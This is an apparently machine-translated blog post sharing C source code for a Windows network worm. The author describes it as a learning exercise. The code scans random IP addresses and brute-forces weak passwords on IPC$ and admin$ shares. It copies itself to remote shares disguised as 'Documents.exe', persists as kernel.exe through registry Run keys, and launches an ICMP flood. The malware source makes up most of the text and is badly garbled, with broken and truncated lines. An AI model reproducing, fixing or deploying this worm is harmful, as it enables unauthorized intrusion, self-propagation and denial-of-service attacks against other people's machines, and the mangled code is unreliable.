DIY a simple sharing of Concuse
/ * WRITEBY: LOND8QQ: 104154682003.2 Declaration: I am writing to learn practices, please use it to learn, test, please don't spread on the internet, otherwise anything caused by myself and Chongqing Black League It is relatively simple to say that this Confucianism is relatively simple, mainly by scanning weak passwords, and shared resources. And disguise a folder. When someone runs it, it will be copied into kernerl.exe in the system directory and modify the registry. The next turns automatically runs kernel.exe and infect other machines. The principle is simple. The program is a console mode when debugging, all _tprintf is the debugging used in WinMain without a virus, there is no self-protection part, will be gestured to kill. Because the protection part is more troublesome. I did a little but didn't succeed. Plus how much time, find the wrong. I will not do it for the time being. :) If you are interested in the master, what is good idea. Study together! (There is QQ above) because there is no self-protection, this is a failed Confucianism, and it is estimated that the communication is not large. Due to the spread of viruses online, I didn't dare to try the power, just tested the expected purpose on this machine and virtual machine.
The code is as follows: (now ugly) * / # Define unicode # define _unicode # include "winsock2.h" #include
// A built-in dictionary can expand while (TRUE) {tchar rip [50] = _ t (""); tchar name [30] = _ t ("); tchar pass [15] = _ t (")); TCHAR Username [50] [30] = {0}; tchar Souce [15] [20] = {0}; Randomip (RIP); NetResource NR; DWORD RET; TCHAR IPC [100] = _ T (""); SWPrintf (IPC, _T ("% s // IPC $"), RIP); nr.lplocalname = null; nr.lpprovider = null; nr.dwtype = resourcety_any; nr.lpremotename = IPC; RET = WNETADDCONNECTION2 (& NR, Pass, Name, 0); if (RET! = Error_Success) {Printf ("/ NIPC $ Connect Failed./N "; computerlist (RIP, Username) && getSouces (RIP, Souce) {RET = WnetCancelConnection2 (IPC, 0, TRUE); if (RET! = Error_Success) {_tprintf (_T ("IPC $ Disconnect Failed./N")); // Return -1;} Bool ISOK = FALSE; INT K = 0; int i; for (i = 0; username [0]! = 0; i ) {_ tprintf (_T ("/ n next username!"); while (k <15) IF (True, Rip, Username, Password [k], _ t ("admin $"))) {isok = true; wcscpy (name, username); wcscpy (pass, password [k]); Connectremote (False, Rip, Username, Password [K], _ T ( "Admin $")); goto spreadsuccess;} else K ; IF (Connectremote, Username, USE RNAME, _T ("admin $"))) {isok = true; wcscpy (name, username); wcscpy (pass, username); Connectremote (false, rip, username, username, _t ("admin $"); goto Spreadsuccess;}}} {Upfile (RIP, Name, Pass, Souce);}} else WnetCancelConnection2 (IPC, 0, True); Sleep (10);}} // ======= =================================================
======= BOOL CALLBACK ConnectRemote (BOOL bConnect, TCHAR * lpHost, TCHAR * lpUserName, TCHAR * lpPassword, TCHAR * lpSouce) {TCHAR lpIPC [256] = {0}; DWORD dwErrorCode; NETRESOURCE NetResource; swprintf (lpIPC , _T ( "% s //% s"), lpHost, lpSouce); NetResource.lpLocalName = NULL; NetResource.lpRemoteName = lpIPC; NetResource.dwType = RESOURCETYPE_ANY; NetResource.lpProvider = NULL; if (wcsicmp (lpPassword, _T! ("Null"))) {lppassword = null;} if (bconnect) {_tprintf (_t ("now connecting ...")); while (1) {dwerrorcode = wnetdConnection2 (& NetResource, lppassword, lpusername, 0); if ((dwErrorCode == ERROR_ALREADY_ASSIGNED) || (dwErrorCode == ERROR_DEVICE_ALREADY_REMEMBERED)) {WNetCancelConnection2 (lpIPC, 0, TRUE);} else if (dwErrorCode == NO_ERROR) {_tprintf (_T ( "! Success / n" )); Break;} else {_tprintf (_T ("failure! / N")); return false;} Sleep (10);} } Else {_tprintf (_t ("now disconnecting ..."); dwerrorcode = wnetcancelconnection2 (lpipc, 0, true); if (dwerrorcode == no_ERROR) {_tprintf (_t ("success! / N"));} Else {_tprintf (_T ("failure! / n")); return false;}} return true;} Bool Callback getUserList (tchar * server, tchar name [50] [30]) // obtain user list {PNET_DISPLAY_USER PBUF, PBUFFER; DWORD NSTATUS; DWORD DWREC; DWORD I = 0; DWORD LERROR; DWORD DWLEVEL; INT NUM = 0; dWlevel = 1; // wchar_t wpchar [30] = {0};
// MultibyTetowideChar (CP_ACP, 0, Server, -1, WPChar, 30); // WPrintf (WPCHAR); Printf ("/ n ******* / n"); do {nStatus = NetQueryDisplayInformation (server, dwLevel, i, 100,0xFFFFFFFF, & dwRec, (PVOID *) & pBuf); if ((nStatus == ERROR_SUCCESS) || (nStatus == ERROR_MORE_DATA)) {pBuffer = pBuf; for (; DWREC> 0; dwrec -) {// char bufname [30] = {0}; // widechartomultibyte (cp_maccp, 0, pbuffer-> usri1_name, -1, bufname, 30, null, null); if (Num < 50) {Memcpy (Name [Num], PBuffer-> USRI1_NAME, WCSLEN (PBuffer-> USRI1_NAME) * SIZEOF (TCHAR)); Num ;} else goto userfuncept; _tprintf (_t (_t ("/ nname: / t% s "), Name [num-1]); i = pBuffer-> usri1_next_index; pBuffer ;}} else {lerror = getLastError (); if (lerror == 997) {_tprintf (_t (" / ngetuserlist: / t / toverlapped I / O Operation IS in Progress./N ")); Return False;} else {_tprintf (_t (" / ngetuserlist error: / t% d / n "), lerror); return false;}} UserfunceXit: IF PBUF! = null) { Netapibufferfree (PBUF);}}}} while (NSTATUS == Error_More_Data); Return True;} Void Callback Randomip (TCHAR * RIP) // Generate a random IP {UNSIGNED Long H = gettickcount () * 198288; char * p; p = INET_NTOA (* (Struct In_addr *) & H); MultibyToWideChar (CP_ACP, 0, P, -1, RIP, 50); _ TPrintf (_T ("% s"), RIP);} Bool Callback getsouces (tchar * server, tchar Souce [15]] // Get a remote shared resource {dWord Er = 0, Tr = 0, Resume = 0; DWORD I, DWLEVEL; PSHARE_INFO_1 PBUF, PBuffer; Net_API_Status Nstatus; DWORD LERROR; INT NUM = 0; dwlevel = 1; _tprintf (_t ("/ n ****** Netbios ****** / n")); do {nstatus =
NetShareEnum (server, dwLevel, (PBYTE *) & pBuf, MAX_PREFERRED_LENGTH, & er, & tr, & resume); if ((nStatus == ERROR_SUCCESS) || (nStatus == ERROR_MORE_DATA)) {pBuffer = pBuf; for (i = 0; i
ERROR_MORE_DATA); RETURN TRUE;} Void Callback Upfile (Tchar * RIP, TCHAR * NAME, TCHAR * Pass, Tchar Souce [15] [20]) // On each shared folder, the virus virus disguise into folder, name Documents .exe {TCHAR lpCurrentPath [MAX_PATH] = {0}; TCHAR lpSystemPath [MAX_PATH] = {0}; int i; GetSystemDirectory (lpSystemPath, MAX_PATH); wcscat (lpCurrentPath, lpSystemPath); _ tprintf (_T ( "% s"), Lpsystempath; wcscat (lpCurrentPath, _T ("// kernel.exe")); _ TPrintf (_t ("/ n% s"), lpcurrentpath); for (i = 0; i <15 && souce [0]! = 0; i ) {IF (ConnectRemote (True, RIP, Name, Pass, Souce) {tchar lpremoteexepath [MAX_PATH] = {0}; swprintf (lpremoteexepath, _t ("% s //% s // Documents.exe" ), Rip, soce; copyfile (lpcurrentpath, false); if (! WCSCMP (Souce, _T ("admin $"))) {MEMSET (LPREMoteexepath, 0, Wcslen (lpRemoteexepath) * sizeof (tchar)); SWPRINTF (LPREMOTEEXEPATH, _T ("% s //% s /////////////////////////////////////////////////////////////////////////////////////////> (LpCurrentPath, LPREMOTEEXEPATH, FALSE);} ConnectRemote (False, RIP, Name, Pass, Souce);}}} void WinAPI ModifyReg () // Modify Registry {Tchar lpsystemPath [MAX_PATH] = {0}; tchar lpcurrentpath [MAX_PATH] = {0}; getSyst Emdirectory (LpsystemPath, Max_Path); WCSCAT (LPSystemPath, _T ("// kernel.exe"); tchar * lpvalueename = _t ("Software // Microsoft // Windows // CurrentVersion // Run //"); RegSetValue HKEY_LOCAL_MACHINE, lpValueName, REG_SZ, lpSystemPath, wcslen (lpSystemPath) * sizeof (TCHAR)); TCHAR * lpSunkey = _T ( "SOFTWARE // Microsoft // Windows // CurrentVersion // RunServices //"); RegSetValue (HKEY_LOCAL_MACHINE, lpSunkey, REG_SZ, lpSystemPath, wcslen (lpSystemPath) * sizeof (TCHAR)); GetModuleFileName (NULL, lpCurrentPath, MAX_PATH); wprintf (lpCurrentPath); CopyFile (lpCurrentPath, lpSystemPath, FALSE);} DWORD WINAPI Attack (LPVOID lp) // the object IP Send ICMP FLOOD {Socket Sock;
CHAR * ACKBUF; INCKADDR_IN Attack; Int size; Netinfor * P = (Netinfor *) LP; SOCK = P-> S; Ackbuf = P-> BUF; Size = P-> Size; Memcpy (& Attack, & P-> Attack, SIZEOF (Attack); DWORD ERRORCODE = 0; While (True) {for (int counter = 0; counter <1024; counter ) errorcode = sendto (Sock, Ackbuf, Size, 0, (Struct Sockaddr *) & attck, sizeof attack)); Sleep (5);} return 0;} int WINAPI WinMain (hINSTANCE hInstance, hINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {WSADATA WSAData; SOCKET sock = NULL; SOCKADDR_IN attack; BOOL flag = TRUE; DWORD ErrorCode = 0; ICMP_HEADER ICMP_HEADER; MEMSET (& ICMP_HEADER, 0, SIZEOF (ICMP_HEADER)); if (WSAStartup (MakeWord (2, 2), & WSADATA! = 0) {Return 0;} IF (((Sock = WSASASOCKET (AF_INET, SOCKT (RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {// MessageBox (NULL, _T ( "sock false"), NULL, NULL);} int TimeOut = 2000; ErrorCode = setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, ( Char *) & Timeout, SizeOf (Timeout)); if (ErrorCode == Socket_ERROR) {// MessageBox (Null, _T ("ICMP false"), null, null;} CHAR CP [30] = {0}; WideChartomultibyte (CP_MACCP , 0, desip, -1, cp, 30, null, null; attack.sin_family = af_INET; attack.sin_addr.s_un.s_addr = inet_addr (cp); ICMP_Header.i_Type = 8; ICMP_Header.i_code = 0; ICMP_HEADER. i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount (); icmp_header.i_seq = 888; CHAR AckBuf [100] = {0}; memcpy (AckBuf, & icmp_header, sizeof (icmp_header)); memset (AckBuf sizeof (icmp_header), 'A', 20); icmp_header.i_cksum = checksum ((USHORT *) AckBuf, sizeof (icmp_header) 20); int datasize = sizeof (icmp_header) 20; memcpy (AckBuf, & icmp_header, sizeof ( ICMP_HEADER);